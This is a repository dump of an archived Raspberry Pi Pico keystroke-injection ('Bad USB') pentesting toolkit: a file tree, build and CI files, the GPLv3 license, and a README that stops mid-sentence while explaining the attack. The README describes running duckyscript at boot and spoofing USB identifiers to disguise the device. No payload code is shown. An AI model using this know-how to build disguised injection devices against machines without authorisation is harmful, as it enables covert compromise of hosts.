├── .github └── workflows │ └── devskim.yml ├── .gitignore ├── .gitmodules ├── CMakeLists.txt ├── LICENSE ├── README.md ├── include ├── boot.h ├── config.h ├── duckyscript.h ├── easter-egg.h ├── filesystem.h ├── pico-key.h ├── settings.h ├── stm.h ├── uid.h └── usb.h ├── pico_sdk_import.cmake └── src ├── boot.c ├── config.c ├── duckyscript.c ├── easter-egg.c ├── filesystem.c ├── pico-key.c ├── settings.c ├── stm.c ├── uid.c └── usb.c /.github/workflows/devskim.yml: -------------------------------------------------------------------------------- 1 | # This workflow uses actions that are not certified by GitHub. 2 | # They are provided by a third-party and are governed by 3 | # separate terms of service, privacy policy, and support 4 | # documentation. 5 | 6 | name: DevSkim 7 | 8 | on: 9 | push: 10 | branches: [ "main" ] 11 | pull_request: 12 | branches: [ "main" ] 13 | schedule: 14 | - cron: '42 4 * * 5' 15 | 16 | jobs: 17 | lint: 18 | name: DevSkim 19 | runs-on: ubuntu-20.04 20 | permissions: 21 | actions: read 22 | contents: read 23 | security-events: write 24 | steps: 25 | - name: Checkout code 26 | uses: actions/checkout@v3 27 | 28 | - name: Run DevSkim scanner 29 | uses: microsoft/DevSkim-Action@v1 30 | 31 | - name: Upload DevSkim scan results to GitHub Security tab 32 | uses: github/codeql-action/upload-sarif@v2 33 | with: 34 | sarif_file: devskim-results.sarif 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ide 2 | .vscode 3 | 4 | # build 5 | /pico-key/build 6 | 7 | # tests 8 | /tests/basic-keystroke-injection/build/* -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/pico-sdk"] 2 | path = lib/pico-sdk 3 | url = https://github.com/raspberrypi/pico-sdk.git 4 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # cmake version! 2 | cmake_minimum_required(VERSION 3.13) 3 | 4 | # set path 5 | set(PICO_SDK_FETCH_FROM_GIT ON) 6 | 7 | # include the sdk 8 | include(${CMAKE_CURRENT_LIST_DIR}/pico_sdk_import.cmake) 9 | 10 | # project name 11 | project(pico-key C CXX ASM) 12 | 13 | # start sdk 14 | pico_sdk_init() 15 | 16 | # source 17 | add_executable(pico-key 18 | pico-key.c 19 | config.c 20 | duckyscript.c 21 | easter-egg.c 22 | filesystem.c 23 | settings.c 24 | stm.c 25 | tusb.c 26 | uid.c 27 | usb.c 28 | ) 29 | 30 | # pico sdk libraries 31 | target_link_libraries(pico-key 32 | pico_stdio 33 | pico_stdlib 34 | pico_malloc 35 | hardware_uart 36 | hardware_gpio 37 | hardware_flash 38 | hardware_irq 39 | hardware_sync 40 | hardware_pwm 41 | ) 42 | 43 | # generate extra files 44 | pico_add_extra_outputs(pico-key) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ⚠️ Project Archived 2 | 3 | > [!WARNING] 4 | > I will no longer continue development due to a lack of maintenance and time. Use at your own risk, any issue made will not be acknowledged. However, I may return to this project, although this is unlikely. 5 | 6 |
7 | Old README.md 8 | 9 | # pico-key 10 | 11 | A physical pentesting toolkit on a regular Raspberry Pi Pico. 12 | 13 | ## Intro 14 | 15 | You've probably seen other similar tools for other MCUs and SBCs, such as the ESP32 Marauder, ESP8266 Deauther, P4wnP1 A.L.O.A, PocketPhishr, Pwnagotchi, etc. Although these are all very good projects, there hasn't been much talk regarding the Raspberry Pi Pico becoming a good tool in the right hands. 16 | 17 | The Raspberry Pi Pico is a flexible microcontroller board designed for multiple purposes. With this project, I intend to use make a powerful Keystroke Injection tool for such an intricate board with a special purpose. It is designed to be easy to configure, modify, and use for fun. This will be designed to be a little more than a *Bad USB*. Instead of being a basic, high-level program on a Pico, we build firmware designed for keystroke injection. 18 | 19 | ### Development Progress 20 | 21 | This [project](https://github.com/users/dj1ch/projects/3) showcases my progress thus far. 22 | 23 | ### Install guide 24 | 25 | **For testing only!** 26 | 27 | When the code is ready, run the following: 28 | 29 | First, we install dependencies. 30 | 31 | ```bash 32 | sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib -y 33 | ``` 34 | 35 | ```bash 36 | cd pico-key-*/pico-key 37 | mkdir build 38 | cd build 39 | cmake .. 40 | make pico-key 41 | ``` 42 | 43 | ### The attack: explained 44 | 45 | Unlike your usual *Bad USB*, this is a lot more complex. 46 | 47 | 1. When it boots up, it checks your `config.c` to determine whether or not it will run the duckyscript on startup, then also spoofs the Pico's serial number, product type, etc to make it look like a USB to the host system. Regardless if set to `true` or `false` is set in 